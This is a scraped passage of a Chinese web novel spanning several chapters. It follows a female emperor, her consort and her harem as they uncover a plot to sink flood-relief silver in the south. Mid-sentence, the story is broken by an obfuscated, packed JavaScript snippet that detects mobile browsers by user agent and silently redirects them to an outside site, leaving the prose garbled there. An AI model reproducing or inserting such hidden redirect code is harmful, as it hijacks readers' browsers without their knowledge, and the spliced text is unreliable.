陆长行道:“臣等一进来就闻到一股特殊的气味,然后就见众人神色癫狂,所以命人捂住了口鼻,一番探查,似乎是那火油里藏着致幻之物。” 裴源头疼依旧,阖眼扶额,声音无力:“空气闭塞,待久了的确让人不适。” 她缓了缓气息,再度抬眼,目光扫过那群深陷癫狂的众人。 墙上的火光跳跃,清晰的映照着每一张扭曲的面孔,仿佛那火油能将人内心深处最炽热的欲望点燃,她们完全沉溺在虚幻的完满之境,无法自拔。 有人眼中闪烁着对万贯家财的贪婪,有人脸上洋溢着功成名就的狂喜,还有人沉浸在志得意满、心愿达成的幻梦里,如痴如醉。 众生百态尽显无遗,一时间赤果果的展露在她眼前。 凤眸依次扫过所有人,最后落了西门眙的身上,少年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15480275|164313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的面容比之众人平和清朗,温厚淡然。他沿着八面墙走的缓慢,时不时抬眸看着墙上符文和八卦,手恰着诀,念念有词,火光将圆眸点亮,他完全沉寂在自己的术法之境。 忽而,他似算出了什么,疾步行至写有‘离’的那面墙上。 像个呆小孩。 陆长行顺着裴源的视线望去,恰见西门眙摁下了一块青石。 这原没什么,可不过两息光景,柳叶眸忽而一凝:“你们有没有听到什么声音?” 那是一阵细微的窸窣声,声音仿佛从头顶传来。众人下意识仰头,陆萧玉一脸惊愕,呆呆道:“我是不是眼花了,怎的觉得天花板在晃动?” “什么在晃!”陆长行厉声道:“那是要塌了!快,带上人跑!” 陆长行说罢,将裴源打横抱起,毫不迟疑的冲出洞口。 乌宛白反应迅捷,就近拉住了郭嘉安紧随其后,不忘喊道:“德君与淑君就交给你了。” 陆萧玉飞身至西门眙与庄与之身侧,厉声呵道:“还愣着干什么?带人跑啊!” 说话间,头顶的震动愈演愈烈,众人再不迟疑,冲到沉溺幻境的人身边,连托带拽地拉人。 陆萧玉才冲至洞口,忽闻内室传来一声惊天巨响,似天崩地裂一般,震得她脚底发麻。她循声望去,只见内室被一块巨石砸落坠地,明晃耀眼的金银与还没来得及被拉走的侍卫,瞬间被埋入废墟之中。 众人一时呆在原地。 巨大的震动声成功将沉溺在幻境之中的众人唤醒。 短暂的懵然后,了悟目前境地的牧山只觉得后背冷汗涔涔,其他惊醒的众人亦是心跳不止。彼时,头顶也开始有零碎石子坠落,不知是内室的巨变引发了连锁反应,还是崩塌本就是它的宿命,众人只觉得整个石室都在震颤。 众人再不迟疑,纷纷逃离。 石室的石块越坠越快,仿佛整个天地都在地动山摇。很快,漆黑的甬道里也受到了波及,众人只能凭借直觉一路前行,而跌落的石块就在身后步步紧追。 万幸队伍乱中有序,一路跑回了耳室,又跑回了杂物间的入口。 杂物室外,肆虐的大火已被彻底扑灭,焦黑的灰烬混着水凝成黑泥,遍布整个房间。 空气中残存的浓烟气味依旧浓烈,却又夹杂着水汽,逃出升天的众人连呼带喘,一口呼吸下去,本就快要炸开的心肺仿佛更加撕裂刺痛。万幸有留守在外的侍卫照应。 见队伍人数寥寥,较之先前已折损大半,终于有人忍不住打破了沉默:“其他人呢?” 粗重的喘息声,似因这句问话而变的细弱,沉重的窒息感缓缓在空气中弥漫。众人皆颔首沉默,无人出声。 角落里的西门眙双手抱膝,将头埋在臂弯之中,身体不受控的颤抖。 他想起来了,全部想起来了。他以为自己摁下的是通往生门的钥匙,未曾想,竟打开了通往死路的桥梁。 巨石倾落,石室崩塌,震耳欲聋的巨响下埋葬的众人,皆因他的一念之差。 他,竟是石室崩塌的罪魁祸首。 啜泣声在死寂的空气中显得格外刺耳,裴源的目光从灯火通明的庭院缓缓移向角落的男子。复杂的情绪在眸中一闪而过,尽管心绪复杂,可开口时,声音只剩下平静:“诸君受惊了。君后,替朕好好安抚他们。” 陆长行颔首应是,抬首间,凤帝已迈步行至庭院,那庭院里跪着数人,都是他带队围剿,成功捕获的榷场众人。 甚至还有一张熟悉的面孔,只是多年不见,不知他的阿源,还记不记得那张脸…… 26-30 第26章 第26章晋江文学城 天空乌云迭起,不消片刻,绵绵细雨便洒向了京城。 分明是白日,可凝辉殿却被厚厚的窗纱遮蔽的乌漆嘛黑,烛火虽然点亮,可时不时的穿堂风涌入,将火光吹的明灭跳跃,晃的人眼睛生疼。 裴源烦躁的扔了奏折,捏着鼻梁瞥着门外,颇为烦躁道:“清明都过了,这雨却淅淅沥沥的不见停。” 乌宛白笑着安抚:“春雨润泽万物,植物萌出,长势喜人,今年呐,一定是个丰年。” 凤帝烦躁的情绪被她一句话安抚,冷峻的脸色多了丝笑意,不过片刻,又是叹息:“过满则溢,恰如其分朕才真的满意。”她默了默:“南边刚递来的折子,那儿的雨可比京城大多了。” 乌宛白沉默的几息里,缓缓抬眸看着天上垒的愈来愈厚的乌云,道:“陛下若觉得不安,何不命司天监占星看看,若真有天灾,也好提前防范。” “占星?”裴源颇为不屑,可转念一想,又觉得信一信也无妨,防患于未然总比什么都不做好:“也好。” 计安领命,前往司天监通传旨意,刚跨出高高的门槛,刚好瞧见君后下了步辇:“奴婢给君后请安。” 油纸伞缓缓上移,君后的柳叶眸含着笑意:“急火火的,是要去哪?” 计安道:“司天监。” 陆长行愣了愣,了悟:“雨势虽不大,可来回奔走也带上伞,万一染上了风寒,有的你受。”说话间,看了眼身侧的解安:“分一把给他。” 计安接在手里,打千儿道了声谢,撑着伞冲进了雨雾里。 解安哼了一声:“她就是懒。” 陆长行:“一把伞而已,你也这么计较。” 说着,跨进了门槛。 清明过了七日,小雨淅淅沥沥的就下了七日,原本刚有些暖意的春,现下又冷又潮,门廊下的青砖似乎就没见干。 裴源看着撩袍子的陆长行道:“别跪了,好好的袍子都跪湿了。” 陆长行并不坚持,翠竹一样挺直的脊行至凤帝跟前:“陛下近来好性儿,臣不止从一位后君口中听闻,陛下免了他们的跪礼。” 裴源面容如水,不露半分情绪,仅从鼻腔中轻哼一声,语气中带着几分冷意:“前朝像个戏子园,诸臣都将朕当猴子耍;唯独后宫对朕尚存几分真心敬重。朕若不待你们好些,岂不成了窝里横?” 陆长行眉宇微蹙,广袖下的手轻轻勾着她的尾指,仿佛在熨帖她不平的心:“陛下日夜操劳政务,心存仁厚。群臣之所以傲慢无礼,实则是心底对陛下畏惧。陛下才智超群,能干非凡,众臣自知平庸,恐在陛下面前相形见绌,是以心生惧意,又不愿示弱,故而以傲慢掩饰内心惶恐。” 裴源冷漠的神情依旧,只是瞥向陆长行的眼底溢出了几分柔情:“你倒是会宽慰人。” 陆长行勾住她的尾指,转身拉她入了凝辉殿,边走边轻声劝道:“辱人者,人恒辱之。世间因利而聚的盟约,皆是无根浮萍,最靠不住。陛下只需静坐殿中,将事情交代下去,她们不敬陛下便不敬,只要心中畏惧皇权即可。只要皇权还在陛下的手里,任她们如何翻腾,最后坐收渔翁之利的人,一定是陛下。” 裴源由他拉着迈入了内殿,直至步上方台,依旧在思量着他的话。 “你比朕会做皇帝。” 陆长行笑笑:“陛下还小嘛。” 裴源微微蹙眉,大两岁而已,又不是大了二十岁。 乌宛白早将奏折放置在了平台上,窗户半敞,透进的光与烛火相交辉映,自然许多。 陆长行跪坐一旁煮水泡茶,随口说道:“南边大雨泛滥,诸君听闻也跟着着急,各宫都写了经文送去庙殿祈福。” 凤眸从奏折移向君后的脸:“傅逸春也写了吗?” “自然。”陆长行道:“傅侍君最虔诚,奉上的经文比臣都要多出一倍。” 裴源:“……” 裴源嘴角微颤:“也不知这‘不自在菩萨’能不能管得着南边的雨。” 陆长行有些不明所以,可还是认真回道:“跪经是形式,抄经也是形式,只要心底里诚恳祝祷,上天必会垂怜。” 一杯香茗转瞬飘香,茶盏刚放到裴源手边,陆长行整个人就被裴源扯进了怀里。 陆长行猝不及防,缓神的功夫,奏折里的内容穿透凌乱的发丝落入眼眸。 “这些折子翻来覆去就是那些屁话,朕批了浪费精神,不批又不像话。”裴源捋顺着他凌乱的发丝:“君后替朕批吧?好不好?” 陆长行瞄了眼奏折,无外乎就是这个臣子为百姓做了些什么事儿,而后话锋一转,说自己虽不在京城不能日日面圣,却时时担忧陛下身体,剩下的就是对皇恩浩荡的感激涕零。 陆长行从她怀里挣脱逃回了原位,而后一边饮茶一边义正词严:“陛下,臣虽不用处理国事,但后宫诸事处理起来也不清闲,陛下还是另寻贤能吧。” 裴源:“……” 裴源心中不悦,于是狠狠白了他一眼:“你变了,从前你最听话,如今都敢忤逆朕了,说话也不迂回了,甚至都没有说‘后宫不得干政’这句废话!哼!” 陆长行:“……” 陆长行哭笑不得:“这种奏折哪里算得上政务?” 见凤帝一脸冷漠,于是笑道:“陛下之前不是说,若后君拎得清,便让臣举荐给你吗?眼下臣心中刚好有个合适的人选,能帮陛下解决这些劳什子。” 裴源瞥他一眼,郁闷道:“你不帮朕就算了。纵然这种奏折称不上政务,但也不好让外人接手。万一传出去,又是风波不断。” 陆长行闻言,微微倾身向前,柳叶眸温柔似水:“陛下信臣,是因臣身后无所依傍;这也是此人与臣最大的相似之处。” 裴源抬眼凝着他,眉宇紧缩。 陆长行低声又道:“傅逸春,母亲已逝,无家族傍身,酷爱书法;陛下若善待其父与幼妹,何愁其不忠心奉主?” 裴源久未出言 陆长行不由追问:“陛下还有顾虑?” 裴源冷道:“在君后眼里,朕宠爱你、信任你,皆因你身后……无树栖息?” 陆长行一愣,这才察觉到帝眸深处已涌起一抹愠色,眼神更似寒霜初降,带着几分冷意与不悦。他没来由的心中一慌,正欲开口解释,就被一阵窸窣的脚步声打断。 “陛下。”乌宛白道:“韵侧君至。” 裴源瞥开视线,随手扔了手中的奏折:“宣。” 陆长行抿了抿唇,心中虽不甘却也未做纠缠,待周天韵步入内殿时,他早已下了方台,颔首伫立一旁。 样子落在裴源的余光里,像极了一颗生长了百年的松树,无声无息,亦无趣味,只会孕育出层层叠叠的松针,任其压弯枝头。 “陛下~” 周天韵如一只起舞的蝴蝶,没头没尾的飞进了内殿,最后竟扑进了裴源的怀,嘟着嘴凑到凤帝面前:“快看看臣今日的唇色好不好看?” 裴源嫌弃的在拿手推下:“离朕远点,朕晕血。” 周天韵顺势握住她的手一顿亲,恨不得将朱红的唇泥涂满她的掌心:“陛下就会口是心非,分明喜欢的要死。” “咦呀~”裴源看着满掌心的唇印,拧出了一张便秘脸,竟毫不客气的涂在了她的脸上。 周天韵不躲不闪:“太好了,等会臣就可以顶着这张脸满后宫溜达,告诉诸君,臣是陛下最宠爱的男人!” 裴源无语道:“你多少有点大病!” 周天韵得意的摇头晃脑:“爱之深责之切,陛下骂臣就是爱臣。” 裴源:“……” 死变态! 裴源很想踹她一脚,侧立方台旁的陆长行也是这么想的,但为了维持君后的体面,只能福了一礼:“内秩署还有些事务等臣处理,臣先行告退。” 说罢,不等凤帝应声,抬步就走。 下了方台的周天韵尚来不及行礼,内殿早没了君后的影子。 裴源取出帕子擦着掌心的红泥,冷漠道:“你这下满意了?” 周天韵嘿嘿一笑,乖乖坐到刚刚君后的位置,香茗满盏,就要拿起饮用,却被凤帝先一步夺在手里。 面对周天韵的不解,凤帝摸索着杯沿,瞥了眼自己面前那盏:“你喝朕这杯。” 周天韵这才满意,伸手端杯前,从怀里取出了一节细细的小竹筒递给凤帝:“刚截下的。” 那应是系在信鸽腿上的竹筒,裴源放下杯子,从内取出一个卷轴。 上面赫然写着八个字:‘南潮起处,银舟沉沙。’ “南潮?”凤帝低吟:“银舟?” 周天韵轻抿一口香茗,待茶盏搁置于案,眉目间已敛去适才的嬉笑,正色道:“南边连日大雨,若冲垮河堤,淹毁良田与民宅,朝廷自然要拨付赈灾银两。” 裴源面色一沉,难怪看到南边的奏折就心慌,果然一切有迹可循。她重重侧倚窗框,久久不能缓神,只冷声追问:“这信发往何处?户部?” 周天韵道:“信鸽是臣在御花园截下来的,看方向,应该是发往西六宫。” 第27章 第27章晋江文学城 原主的小君共计十二人,每人居一宫,武将之子在东六宫;文人之后在西六宫。 除了碧落宫的柳玉书、静思轩的周天韵、静思轩的韩柏、绮梦殿的傅逸春外,西六宫里还住着云梦宫的西门眙与凝露殿的瞿辰。 当晚,内秩署的宫人端着诸君的牌子入殿后,凤眸落在淑君与瞿卿君的牌子上徘徊了许久,最后诚恳发问:“朕一次只能选一个吗?” 宫人愣愣的抬起头,却将下巴落在了胸上,平素让陛下翻个牌子恨不得要磨破她的嘴皮子,今日这般……实在让她有些始料不及。 陛下她……终于要释放她的兽性了? 实木的浮尘手柄重重叩击在了宫人的头上:“糊涂东西,陛下问你话呢,你发什么愣啊?” 凌小可被扣的脑袋一震,正捉摸着如何回复,凤帝先一步开口:“算了,就淑君吧。” 消息传入云梦宫时,西门眙笑的格外得意:“陛下终于又想起本宫了。白尔,速速把家伙事全都摆上,今晚本宫势必要让陛下感受到生命的奥义!” 白尔默默扶额:“主子,陛下好不容易来一次,奴才求您了,正常一点,别又把陛下吓跑了。” “放心。”西门眙去搬他的宝贝:“上次本宫没控制好力道,这次不一样了,小小君恩,手拿把掐。你就等着给本宫道喜吧!嘿嘿嘿~” 看着忙前忙后的西门眙,白尔抿了抿唇,又抿了抿唇,最后只字未语,只是重重的叹了口气。 戌时三刻,连着一整日断断续续的小雨终于见了晴,上弦月的月牙儿悄然拨开了云雾,呈现出众云捧月的一幕。一直阴寒的夜晚,似也有了气温回暖的迹象。 裴源闲庭信步的跨入了云梦宫,可一眼瞧见镇守殿门前的左右宫侍……阴恻恻的笑脸,裴源没来由的背脊一寒,‘快跑’二字从心底呐喊出来,可双腿似有自己的考量,一个跨步直接迈进了门厅。 淑君身着一袭舒适的白色寝衣,阖眼立在门前,手持一副帝钟,似已恭候了良久。 听到脚步声,紧闭的双眸微微启了一条缝,确认来者是凤帝后,轻轻叩击了一下手里的帝铃。 “叮——” 清脆而悠远的帝铃带着一种穿透力,瞬间穿透了殿内的每一处角落,一瞬间,立在门前的凤帝身上,好似被披上了一层庄严的光晕,淑君非常满意,压低嗓音缓缓启唇:“更~衣~” 四周宫侍领命,齐齐近身凤帝跟前,凤帝一头雾水之际,明黄的凤袍与华贵的发饰已被退了干净,仅剩下了一袭锦段里衣与柔顺垂落的青丝。 忽而,一阵风从身后涌入,凤帝下意识双手抱胸,愠怒之色缓缓溢出眼底。 淑君却似没有察觉,反而再次叩响帝铃。 “叮——” 又是一声脆响,淑君再次开口:“闭眼~” 白尔闻言,低语道:“奴才僭越了。” 说着,取出布条直接系在了越瞪越圆的凤眸上。 裴源:“……” 这群男人到底要对她干什么? 凤帝满心狐疑间,人已被几个宫侍扶进了内殿的方台上。 淑君:“躺~” 裴源火气横生,伸手就要解开丝带之际,忽而,‘咣’的一声巨响,直接在她的头上炸开,震的裴源脑中轰鸣,甚至出现了短暂性的麻木愣怔,回神时,人已被推到躺在了松软的被褥上。 又一声厚重的钵声叩在耳边,淑君轻声低语道:“心如止水,波澜不惊,请陛下随臣一起飞向一片无垠的云海,身下是绵软的云,你感受到前所未有的放松……” 裴源:“……” 爹的!神经病! 半个时辰后,裴源双目失神的坐在器具中间,直至淑君奉上一杯香茗,失神的凤眸才缓缓恢复了几分光采。 淑君满脸期盼:“陛下觉得如何?” 裴源愣愣看着面前的那张脸,男子面容清朗,气质平和,五官虽不算绝世惊艳,却宛若春风拂面,给人一种温厚的淡然。 “挺新奇的。”她微微颤道。 淑君嘴角微勾,正要开口,却听凤帝淡淡又道:“可能是习惯不同吧,别的后君侍寝前,一般不做法事。” 西门眙:“……” 一旁的白尔露出‘我就知道’的神色,完蛋二字几乎明晃晃的写在脸上。 裴源又道:“朕决定了,朕驾崩前定会给你单独留一道旨意,任命你为首席大法师!有了淑君的加持,相信朕一定会走的十分安详。” 西门眙一脸惶恐:“陛下……” 凤帝压根不给他开口的机会,起身利落的从一堆法器中跨下了方台:“不知为何,朕突然有了四大皆空的念想,今夜便不久留了,淑君早些安置吧,朕,去也~” 说罢,一把将自己的凤袍囫囵抱起,逃也似的跑出了云梦宫,一边跑,花簪一边掉,待西门眙依次拾起追出宫门时,御撵早已化作一道烟儿,没了踪影。 西门眙:“……” 栖梧宫中,烛火早已熄灭,殿外守夜的宫女被一阵急切的叩门声惊醒。开门一看是凤帝,马上就要起身行礼,却被乌宛白一个眼色制止。 户对上只剩一盏烛灯,灯火昏暗,却也将奔跑的凤帝影子拉的很长。 临近殿门前,凤帝却骤然停了脚步,稳下情绪后方才慢慢推开殿门,灯光顷刻洒入,将殿中一桌一椅照着明晰。裴源轻手轻脚地行至内殿,君后早已入眠。 他似乎睡的并不安稳,或许是做了噩梦,男子的眉心微微蹙起,仿佛连梦里也带着几分忧郁。 裴源下意识地想要抚平他的眉心,却在触到肌肤的瞬间惊扰了男子。 陆长行一下子睁开了眼。柳叶眸中残存几分迷离,几息之后,才认出来人,声音中带着一丝睡意:“陛下?” 他撑着身子坐起准备下榻,可裴源已经先一步涌入了他的怀里。 “太可怕了,”女子委屈道:“他拿那个大钹震我的头,哐哐的,把我魂都要震飞了。” 陆长行愣了几息:“西门眙?” 裴源愤然道:“就是他!” 陆长行了然,轻轻拍了拍她的后脊:“陛下别怕,臣明日就罚他。” 垫在陆长行肩上的头点了点,陆长行摸着她似只着了里衣,急忙掀起蚕丝羽被,将女子小心细致的包裹其中,本就温暖的被子很快化开了女子身上的寒凉。 裴源这才躺在了男子身畔,清新的皂角气味莫名让她安定下来,于是想了想道:“朕想了想,他应该只是想哄朕开心,朕不计较了,君后明日就不必罚他了。” 陆长行闻言微微一笑:“好,都依陛下之言。” 裴源又往他怀里凑了凑,他的腰很细,无半分赘肉,手臂环着他的腰与他贴的更近,鼻尖不忘蹭着他的肩膀:“司天监夜观天象,荧惑星黯淡无光,乃不祥之兆,主南方将有水患,需早做防范。” 柳叶眸光微暗,陆长行想了想,半撑着身子侧倚,轻抚着女子稍有些凌乱的头发:“陛下可问过,司天监占的是哪日的星?” 裴源想了想:“应该就是这……” 话未说完,凤帝阖着的眼蓦地睁开,虽未抬眸,可陆长行瞧的分明,她眼底是抑制不住的怒火。 接连下雨,就连今晚都是层层云雾,她们到底是如何占的星? 陆长行微凉的指尖在她发间穿梭,似在安抚她的情绪:“若南方真遇水患,朝廷势必要发放赈灾银两,陛下可想好派谁护送?” 裴源沉默,除了朝堂上经常发表见地的几个朝臣,其他人事,她还不熟悉。 陆长行轻声又道:“清明之后雨势不歇,道路定然泥泞难行,那就只能走水路。可这水势汹涌,难保半路没有意外发生,湍流不急,这银船万一翻了,那这赈灾银岂不喂了河神?” 裴源当下没了睡意,愤愤从床上坐起:“南潮起处,银舟沉沙。原来如此!” 陆长行不知她的言外之意,只当她的随口之言,于是坐起,微弓着身视线从下抬眸看她:“银子没了,灾情还在,百姓的情况紧急,恐等不得陛下追明真相,届时,陛下打算如何应对?” 裴源郁闷道:“国库空虚,根本掏不出第二份赈灾银。” “嗯。”陆长行借着道:“洪灾摧毁的除了田产和家宅,恐还会引发瘟疫。迟迟等不到赈灾银,南边一定是尸骸遍野,满地狼藉,百姓不会怪别人,她们只会责怪朝廷,诅咒陛下。” 裴源了悟,冷漠道:“人心贪婪,欲念无穷,银子只是开胃菜,败坏朕的名誉才是重头戏。” 陆长行不置可否:“乱时出枭雄,百姓对陛下的怨恨攀至顶峰之际,臣猜想,定会有人站出来扭转乾坤。”他轻飘飘道:“拿出银子,找出疫方,维护一方安定,赢得了民心,还保全了朝廷和陛下的脸面,届时,陛下该如何安置此人?” 裴源道:“自然是敲锣打鼓的迎她入京,封侯拜相,好生安置。” 陆长行轻嗯着:“陛下英明。若在敌人使出阴暗手段前便提前察觉,并加以应对,那么手段便不是手段。” 裴源微微蹙眉:“南边已连续降雨多日,再加上人为促成,朕此时布局,是否晚了?” “陛下天命所受,臣相信,上天一定站在陛下这边。”陆长行想了想,温柔的勾起了她的手:“陛下,不妨一搏!” 第28章 第28章晋江文学城 寅未时分,陛下的凤袍早已送到了栖梧宫,乌宛白门外唤了两声,凤帝困的睁不开眼,反倒将君后唤醒。 “陛下~”陆长行伏在女子耳畔轻柔的说:“该上朝了。” 昏暗中,女子眉宇紧蹙,烦闷的掀起被子盖住了头,很快,闷声从被子下传出:“朝堂有我没我关系不大,今日不去了。” 陆长行无奈轻笑,下榻简单的沐浴更衣,方才又踱步至床榻跟前。 被子蒙起的头早已探出,女子面向里侧,凌乱的青丝下,是一张恬静的睡颜。陆长行轻轻捋顺她的发丝,俯下身哄道:“陛下起吧,臣亲自为你更衣,好不好?” 平静的眉眼再次蹙起,似乎这个条件并不足以诱惑女子,相反,她好像还有些烦闷。 陆长行见势,又道:“恕臣僭越了。” 语落,男子颔首衔住了凤帝的耳珠。 几乎一瞬,紧闭的双眸瞬间睁开,困意似开了闸的水顷刻流失,裴源想也不想的从榻上坐起,看着一脸若无其事的君后冷道:“你放肆。” 陆长行并不辩解,甚至缓缓跪在了榻前,拿起地上的鞋子:“请陛下更衣。” 裴源:“……” 裴源冷哼一声,穿鞋后下榻后抬臂由他伺候。 陆长行动作无比轻柔,他似有强迫症,就连衣裙褶皱都要一一捋顺,见不得一点凌乱,环扣腰封的时候,双臂轻而易举就将女子环在胸膛。 凤帝生的高挑,君后亦不遑多让,两人相拥时,男子竟比女子还高出半个头,所以裴源下意识就吻上了陆长行下巴。 双臂骤然一僵,陆长行似定住一般,只是喉咙轻轻涌动,好一会儿,男子才淡定自若的退了一步,颔首垂眸侧立一旁,视线盯着她的腰间:“陛下腰间总是空落落的,臣绣个荷包送予陛下可好?” 裴源道:“朕若带了你的,就要留着空带旁人的,届时腰上不但乱糟糟的,还压着腰封往下坠,朕不喜欢。” 陆长行静默几息:“臣多言了。” 光线昏暗,男子始终低着头,裴源看不清他的眉眼,只听声音似有些失落。 一股烦闷涌上心头,裴源将想说的话压在心里,只道:“朕昨夜只召了淑君,他伺候的朕很满意。” 陆长行默了默:“臣知道该怎么做。” 裴源点点头,迈步向殿外走去,却在临跨出殿门一瞬,忽而回首:“得空可以绣个帕子给朕,寻常花样即可,不要太花哨。” 陆长行抬眸望向女子。 裴源轻声又道:“朕会贴身带着。” *** 钦天监的占星言语不知怎么传到了前朝。 有人说:若天灾降临,凭人力无法扭转,何况灾情尚未发 生,何必杞人忧天; 亦有人说:提前防备,总比静待事态发展恶化要好。 双方争论不休,直至散朝也没个定论。 反倒是御花园的花开的更艳丽了,花丛深处,桃花随风飘零,几朵花瓣落入了陆萧玉的发间,裴源伸手替她拂去,瞥见女子英挺的眉峰挑的愈发厉害。 “有看不懂之处,大可以问朕,回去后抓紧命匠人赶制出来,可能过两日就会用。” 陆萧玉愣愣抬眸,凝了小凤帝好半晌才道:“这制假银的方子,陛下不是给过臣吗?” 裴源怔住。 “除了顺序些许不同,内容几乎一丝未变,陛下还命臣造了五十万两出来。”陆萧玉眨眨眼:“莫非是五十万两不够?需再赶制一些?” 裴源面上不动声色,可手指已经下意识的摩挲起黑玉扳指来,几息的平复,才道:“朕……朕前几日头疾发作,从御撵上跌落时磕到了头,所以忘了……亿点事。” 陆萧玉恍然,半分没有怀疑,甚至担忧更甚:“陛下现下如何?一点事到不打紧。陛下若是何处有疑问,大可以问臣,臣定知无不言!” 裴源欣慰的点点头,顺势问道:“朕有没有说,用那五十万两银子做什么?” 陆萧玉认真思量片刻,摇摇头:“陛下只说天灾人祸,防不胜防,有备无患,总是好的。” 天灾?人祸? 裴源轻咳一声,又问:“那朕过往可有让你查办;或是问过南边的人或事?” 陆萧玉这次想也不想的点头:“去岁秋天,陛下命臣前往南陵郡方向,臣途经青云湖,并在望云码头附近发现了一处隐秘的粮仓,似乎藏有税粮。臣据实回报,陛下只说,您知道了。” 裴源了然,沉思须臾,有了决断,沉声道:“从凤鸣卫调拨精干人手,由牧山领队,携带二十万两假银,埋伏于城外首驿附近。两日后,当有赈灾队伍南下,必经此地,朕要求你们换出真银。朕知此事难办,需牧山提前部署谨慎行事,不可有失。另,你亲率一队人马,携驱疫药材,扮作商贾模样南下。若途中闻望云粮仓被淹之事,即刻将百姓引至那处隐秘粮仓。做完这些,你且静候数日,待朕旨意。” 一夜之间,将重兵把守的二十万两真银换成假银? 陆萧玉眉头紧锁,虽无一点头绪,但还是郑重跪地:“臣遵旨!” 裴源想了想:“若实在有失也不打紧,你们需得顾好自身,未来才更好替朕效力。” 陆萧玉猛地抬头,锐利的眸低竟顷刻溢出一层水汽,而后重重叩首,磕的青砖一阵:“臣等,定不辱圣命!” 裴源:“……” 怎么办,她好像是误会了呀? 算了,不管了。 裴源屈下身拍了拍她的背:“辛苦了。” *** 时至戌时。 凝露殿门下悬着的铜铃发出一声‘清脆’声,凤帝闲庭信步的跨入内殿,凝露殿的主人正在摆弄着花房刚送来的一堆芍药花。 芍药花未经过修剪,瞿辰便不厌其烦的修整,手里的金色剪刀在烛火下闪烁着耀眼的光芒。 凤帝看着满地狼藉并未打扰,自顾自的端坐茶案前,接过宫侍奉上的茶,饮了一口,苦涩自舌尖蔓延,裴源不动声色的放下茶盏,本想侧倚凭几养养神,方台上竟干净的没有一件杂物。 彼时,一束芍药修整完善,成束的花在花瓶中簇拥绽放,好不鲜艳。 瞿辰微微一笑,似很满意,转身准备饮口热茶,猛然发觉凤帝不知何时端坐茶案前,一脸惊讶之色浮在脸上:“陛下?” 他疾步上前屈身行礼:“臣修剪花束太过用心,竟未察觉陛下到来,还望陛下恕罪。” 太过急切,竟忘了放置剪刀,明晃晃的刀尖所指之处,正是裴源的方向。 数息沉默,裴源手指轻抬,随口道:“瞿卿君对这芍药倒是比朕上心。” 瞿辰起身将手里的剪刀交由宫侍手里:“陛下有所不知,臣这芍药可是进贡的火炼赤金,花开艳丽,却极为娇贵。它是开在夏日的花,却在花房的精心培育下,春日便盛开了。前几日细雨绵绵,空气湿冷,还败了不少,臣知晓后,好一个心疼。” 说话间,瞿辰淡定自若的行至茶案的另一头跪坐,言辞从容,面上无半分羞怯,反倒是衬的落落大方。 裴源瞥了眼花盆中争先盛放的芍药:“火炼赤金?若朕没记错,此花种应该是南陵刺史进贡,花朵丰满、富丽堂皇,远远一瞧,倒也称得上高贵无双。倒是与卿君相得益彰。” 瞿辰接过宫侍手里的帕子,从容擦拭着手上的污秽,闻言笑道:“陛下说笑了,若论富贵,哪抵得上牡丹?那才是真正的百花之王。区区芍药,不过东施效颦罢了。” 裴源端起茶杯并未饮用,只是轻轻摩挲着茶杯,黑玉扳指与瓷器交叠,发出了窸窣声响,扰乱了案间幽静。 “各花入各眼,朕到觉得,二者各有千秋,惹人怜爱。” 瞿辰愣了愣,微微抬眸迎上女子的注视,四目相对,女子的眼底玩味不见掩藏,男子面色羞赧:“陛下在浑说什么呢?” 裴源嘴角微勾:“夜幕四合,朕与后君共处一室,自然说的是阁中情话。” 瞿辰尚未开口,就听凤帝道:“安置吧。” 良久,男子僵硬的脸上才挤出一丝笑意:“陛下临幸,臣不胜欣喜,然臣今日身子不适,恐有不便之处。” 裴源微微挑眉,眼神不自觉的往他小腹瞥。 她只听闻这里的男子成年后,便要饮一种药物,依照裴源的理解,大抵与激素差不多,待身体机能有细微变化,与女子同房后,便能吸入女子精元入体,有几率孕育生命,瓜熟蒂落之日,剖腹取女。 可男人来大姨父这件事,她并未听闻。 如果裴源是个善解人意的凤帝,她或许会起身离去。 可惜裴源不是。 要占她便宜的男人太多了,好不容易碰到个不稀罕她的,她可太欣喜了。 于是她道:“虽然可惜,但朕来都来了。卿君既不方便伺候,那你只好打地铺了。” 瞿辰:??? 让男人打地铺?她这话怎么好意思说出口的! 却不料,凤帝竟无半分愧疚,直接起身下了方台,言辞冷漠不容半分辩驳:“更衣。” 瞿辰银牙暗咬,却只得乖乖侍奉更衣。 帝君二人一夜好眠。 翌日寅时,瞿辰从地上爬起为凤帝更衣,系好腰封后,下巴忽而被凤帝挑起:“卿君的床很软,芍药的气味也香甜,朕决定了,今夜还来。” 第29章 第29章晋江文学城 “贱人!” 凤帝前脚刚离开凝露殿,瞿辰便化作了桌面清理大师,顷刻间,殿内一片狼藉,就连昨夜仔细修整的芍药花亦未幸免于难,娇艳花朵混在各类瓷器碎片中,平添了一丝破败的凄凉。 “主子!”毕先哪里顾得上地上的碎片,直接跪在瞿辰脚边:“你无论怎么生气也好,万万要克制情绪,若是传到帝后的耳中……” “传到就传到!”抑制不住的怒火从瞿辰心底涌出,手脚更是止不住的颤抖:“凭她一个舞郎之女,也配上本小爷的床!贱人!我要杀了……” 话未说完,毕先已起身捂住了他的嘴,毕先似带着哭声哀求:“主子,就算你不在意自己的性命,总不能不顾虑南阳王,她若知道你在后宫挨了欺负,她该多心疼?万一情急下,做了什么毁了大业,届时主子你该多懊悔?” 提及裴若,瞿辰心中的愤怒瞬间化作了委屈,他的眼睛通红,四肢无力般滑跪在地,口中呜咽低语:“她明知我会入宫,为什么不带我走……” 毕先不语,只是紧紧拥着瞿辰,似想给他一些力量。 夜幕缓缓扯开了一条口子,两个时辰后,温暖的阳光洒向大地,似乎要将连日来阴雨留下的湿 冷全部带走。 后宫也终于迎来了朝阳,连着两日,淑君与瞿卿君都得到君后褒奖,流水一样的赏赐先后送进了云梦楼与凝露殿,昭示君恩。 诸君神色各异,却也大方向二人道喜。 